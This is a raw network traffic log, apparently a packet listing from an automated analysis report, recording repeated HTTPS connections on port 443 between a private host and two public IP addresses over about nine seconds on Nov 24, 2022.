Nov 24, 2022 13:28:50.785080910 CET	49790	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:50.785100937 CET	443	49790	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:50.785233974 CET	443	49790	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:50.785238028 CET	49790	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:50.785444975 CET	49790	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:50.805177927 CET	49790	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:50.805216074 CET	443	49790	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:50.928431034 CET	49792	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:50.928509951 CET	443	49792	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:50.928951979 CET	49792	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:50.929519892 CET	49792	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:50.929568052 CET	443	49792	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:50.929647923 CET	443	49792	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:50.931510925 CET	49793	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:50.931540966 CET	443	49793	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:50.931657076 CET	49793	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:50.940367937 CET	49793	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:50.940401077 CET	443	49793	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:50.993748903 CET	443	49793	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:50.993861914 CET	49793	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:51.021492958 CET	49793	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:51.021502972 CET	443	49793	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:51.034652948 CET	49793	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:51.034668922 CET	443	49793	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:51.099864006 CET	443	49793	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:51.100059986 CET	443	49793	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:51.100240946 CET	49793	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:51.126462936 CET	49793	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:51.126496077 CET	443	49793	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:51.144896984 CET	49794	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:51.144964933 CET	443	49794	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:51.145140886 CET	49794	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:51.145488977 CET	49794	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:51.145524025 CET	443	49794	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:51.145606041 CET	443	49794	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:51.276653051 CET	49795	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:51.276709080 CET	443	49795	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:51.277692080 CET	49795	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:51.278192997 CET	49795	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:51.278224945 CET	443	49795	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:51.331830978 CET	443	49795	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:51.337730885 CET	49795	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:51.343311071 CET	49795	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:51.343333006 CET	443	49795	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:51.347732067 CET	49795	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:51.347753048 CET	443	49795	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:51.410937071 CET	49796	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:51.411019087 CET	443	49796	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:51.411313057 CET	49796	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:51.411714077 CET	49796	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:51.411746979 CET	443	49796	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:51.411883116 CET	443	49796	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:51.471364021 CET	443	49795	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:51.471472025 CET	49795	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:51.471499920 CET	443	49795	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:51.471525908 CET	443	49795	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:51.471606016 CET	49795	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:51.519298077 CET	49795	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:51.519339085 CET	443	49795	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:51.629950047 CET	49797	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:51.630013943 CET	443	49797	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:51.630114079 CET	49797	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:51.630475998 CET	49797	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:51.630511045 CET	443	49797	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:51.630601883 CET	443	49797	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:51.660945892 CET	49798	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:51.660990953 CET	443	49798	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:51.661145926 CET	49798	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:51.662085056 CET	49798	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:51.662118912 CET	443	49798	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:51.714092016 CET	443	49798	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:51.714158058 CET	49798	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:51.721887112 CET	49798	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:51.721903086 CET	443	49798	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:51.726914883 CET	49798	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:51.726927042 CET	443	49798	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:51.835443020 CET	443	49798	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:51.835520029 CET	49798	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:51.835541964 CET	443	49798	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:51.835808992 CET	49798	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:51.835951090 CET	49798	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:51.836040020 CET	443	49798	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:51.836112022 CET	49798	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:51.902307034 CET	49799	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:51.902359009 CET	443	49799	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:51.902446032 CET	49799	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:51.902858019 CET	49799	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:51.902889967 CET	443	49799	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:51.902997971 CET	443	49799	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:52.781989098 CET	49800	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:52.782066107 CET	443	49800	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:52.783420086 CET	49800	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:52.783766985 CET	49800	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:52.783803940 CET	443	49800	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:52.783828974 CET	49801	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:52.783886909 CET	443	49801	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:52.783895016 CET	443	49800	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:52.784189939 CET	49801	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:52.786922932 CET	49801	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:52.786957026 CET	443	49801	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:52.840838909 CET	443	49801	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:52.842927933 CET	49801	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:52.881772995 CET	49801	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:52.881820917 CET	443	49801	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:52.882781029 CET	443	49801	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:52.882961988 CET	49801	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:52.885524988 CET	49801	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:52.885541916 CET	443	49801	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:52.960084915 CET	443	49801	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:52.960254908 CET	443	49801	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:52.960354090 CET	49801	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:52.960982084 CET	49801	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:52.969831944 CET	49801	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:52.969872952 CET	443	49801	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:53.012587070 CET	49802	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:53.012692928 CET	443	49802	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:53.013154984 CET	49802	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:53.665702105 CET	49802	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:53.665795088 CET	443	49802	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:53.665961981 CET	443	49802	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:53.891594887 CET	49803	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:53.891673088 CET	443	49803	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:53.891860008 CET	49803	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:53.892590046 CET	49804	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:53.892654896 CET	443	49804	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:53.892728090 CET	49804	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:53.893183947 CET	49804	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:53.893208981 CET	443	49804	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:53.893327951 CET	443	49804	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:53.904190063 CET	49803	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:53.904263973 CET	443	49803	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:53.958352089 CET	443	49803	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:53.960519075 CET	49803	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:54.099678040 CET	49803	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:54.099723101 CET	443	49803	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:54.108236074 CET	49803	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:54.108256102 CET	443	49803	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:54.178005934 CET	443	49803	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:54.178311110 CET	49803	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:54.178348064 CET	443	49803	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:54.179284096 CET	49803	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:54.179800987 CET	49803	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:54.179918051 CET	443	49803	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:54.180054903 CET	49803	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:54.248493910 CET	49805	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:54.248545885 CET	443	49805	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:54.248636007 CET	49805	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:54.248953104 CET	49805	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:54.248975039 CET	443	49805	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:54.249080896 CET	443	49805	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:54.311256886 CET	49806	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:54.311331987 CET	443	49806	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:54.312218904 CET	49806	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:54.316423893 CET	49806	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:54.316464901 CET	443	49806	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:54.375243902 CET	49807	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:54.375314951 CET	443	49807	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:54.375556946 CET	49807	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:54.375946999 CET	49807	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:54.375983953 CET	443	49807	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:54.376085043 CET	443	49807	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:54.384005070 CET	443	49806	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:54.384114981 CET	49806	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:54.418973923 CET	49806	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:54.419065952 CET	443	49806	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:54.420053959 CET	443	49806	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:54.420201063 CET	49806	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:54.420835018 CET	49806	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:54.420851946 CET	443	49806	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:54.494350910 CET	443	49806	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:54.496475935 CET	49806	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:54.496525049 CET	443	49806	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:54.497940063 CET	49806	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:54.502773046 CET	49806	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:54.503041029 CET	443	49806	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:54.503135920 CET	49806	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:54.521380901 CET	49808	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:54.521457911 CET	443	49808	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:54.522484064 CET	49808	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:54.522999048 CET	49808	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:54.523036957 CET	443	49808	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:54.523119926 CET	443	49808	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:54.691432953 CET	49809	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:54.691492081 CET	443	49809	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:54.691577911 CET	49809	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:54.716758966 CET	49809	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:54.716823101 CET	443	49809	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:54.716955900 CET	443	49809	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:54.837361097 CET	49810	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:54.837407112 CET	443	49810	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:54.837501049 CET	49810	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:55.363079071 CET	49810	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:55.363121033 CET	443	49810	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:55.417458057 CET	443	49810	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:55.417659998 CET	49810	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:55.435298920 CET	49810	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:55.435338974 CET	443	49810	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:55.436053038 CET	443	49810	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:55.436150074 CET	49810	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:55.442828894 CET	49810	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:55.442848921 CET	443	49810	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:55.533485889 CET	49811	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:55.533548117 CET	443	49811	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:55.533643007 CET	49811	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:55.537375927 CET	49811	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:55.537420034 CET	443	49811	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:55.537523031 CET	443	49811	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:55.558547020 CET	443	49810	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:55.558629036 CET	49810	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:55.558656931 CET	443	49810	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:55.558710098 CET	49810	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:55.740086079 CET	49810	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:55.740277052 CET	443	49810	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:55.740386009 CET	49810	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:56.568680048 CET	49812	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:56.568754911 CET	443	49812	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:56.568870068 CET	49812	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:56.569214106 CET	49812	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:56.569247007 CET	443	49812	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:56.569307089 CET	443	49812	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:56.661060095 CET	49813	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:56.661120892 CET	443	49813	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:56.661212921 CET	49813	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:56.665898085 CET	49813	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:56.665930033 CET	443	49813	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:56.720330000 CET	443	49813	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:56.720479965 CET	49813	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:56.971740007 CET	49814	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:56.971806049 CET	443	49814	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:56.971896887 CET	49814	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:56.972210884 CET	49814	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:56.972250938 CET	443	49814	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:56.972326040 CET	443	49814	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:57.079336882 CET	49813	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.079376936 CET	443	49813	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:57.080584049 CET	443	49813	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:57.080684900 CET	49813	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.082081079 CET	49813	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.082088947 CET	443	49813	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:57.226964951 CET	49815	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:57.227006912 CET	443	49815	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:57.227097988 CET	49815	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:57.227570057 CET	49815	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:57.227587938 CET	443	49815	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:57.227674007 CET	443	49815	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:57.253245115 CET	443	49813	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:57.253381968 CET	49813	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.253447056 CET	443	49813	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:57.253483057 CET	443	49813	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:57.253520966 CET	49813	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.253550053 CET	49813	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.329468012 CET	49813	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.329499006 CET	443	49813	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:57.440812111 CET	49816	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:57.440874100 CET	443	49816	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:57.440975904 CET	49816	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:57.441690922 CET	49816	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:57.441715956 CET	443	49816	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:57.441796064 CET	443	49816	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:57.463565111 CET	49817	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.463619947 CET	443	49817	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:57.463704109 CET	49817	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.464454889 CET	49817	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.464488029 CET	443	49817	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:57.528507948 CET	443	49817	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:57.528640032 CET	49817	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.542830944 CET	49817	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.542865992 CET	443	49817	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:57.550331116 CET	49817	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.550354958 CET	443	49817	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:57.670073032 CET	443	49817	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:57.670253038 CET	49817	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.670285940 CET	443	49817	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:57.670764923 CET	49817	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.678926945 CET	49817	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.679083109 CET	443	49817	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:57.679277897 CET	49818	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:57.679297924 CET	49817	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.679353952 CET	443	49818	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:57.679464102 CET	49818	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:57.679846048 CET	49818	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:57.679896116 CET	443	49818	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:57.679945946 CET	443	49818	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:57.792423964 CET	49819	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.792503119 CET	443	49819	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:57.792618036 CET	49819	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.794342041 CET	49819	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.794374943 CET	443	49819	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:57.851917028 CET	443	49819	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:57.852176905 CET	49819	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.895740986 CET	49819	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.895806074 CET	443	49819	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:57.896697998 CET	443	49819	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:57.896796942 CET	49819	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.897609949 CET	49819	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.897624016 CET	443	49819	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:57.899964094 CET	49820	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:57.900022030 CET	443	49820	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:57.900118113 CET	49820	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:57.900460005 CET	49820	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:57.900489092 CET	443	49820	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:57.900552034 CET	443	49820	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:57.975338936 CET	443	49819	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:57.975408077 CET	49819	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.975461960 CET	443	49819	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:57.975517988 CET	49819	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.975528955 CET	443	49819	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:57.975584030 CET	49819	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.982007980 CET	49819	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:57.982058048 CET	443	49819	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:59.080166101 CET	49821	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:59.080240965 CET	443	49821	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:59.080346107 CET	49821	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:59.080703974 CET	49821	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:59.080739021 CET	443	49821	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:59.080810070 CET	443	49821	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:59.192876101 CET	49822	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:59.192953110 CET	443	49822	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:59.193075895 CET	49822	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:59.193975925 CET	49822	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:59.194014072 CET	443	49822	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:59.254406929 CET	443	49822	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:59.258433104 CET	49822	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:59.269649982 CET	49822	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:59.269690990 CET	443	49822	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:59.274197102 CET	49822	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:59.274219990 CET	443	49822	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:59.297574043 CET	49823	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:59.297648907 CET	443	49823	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:59.297749043 CET	49823	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:59.298090935 CET	49823	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:59.298126936 CET	443	49823	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:59.298223972 CET	443	49823	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:59.363451958 CET	443	49822	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:59.363553047 CET	49822	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:59.363595009 CET	443	49822	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:59.363631964 CET	443	49822	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:59.363651037 CET	49822	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:59.363707066 CET	49822	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:59.389717102 CET	49822	443	192.168.2.4	172.66.40.196
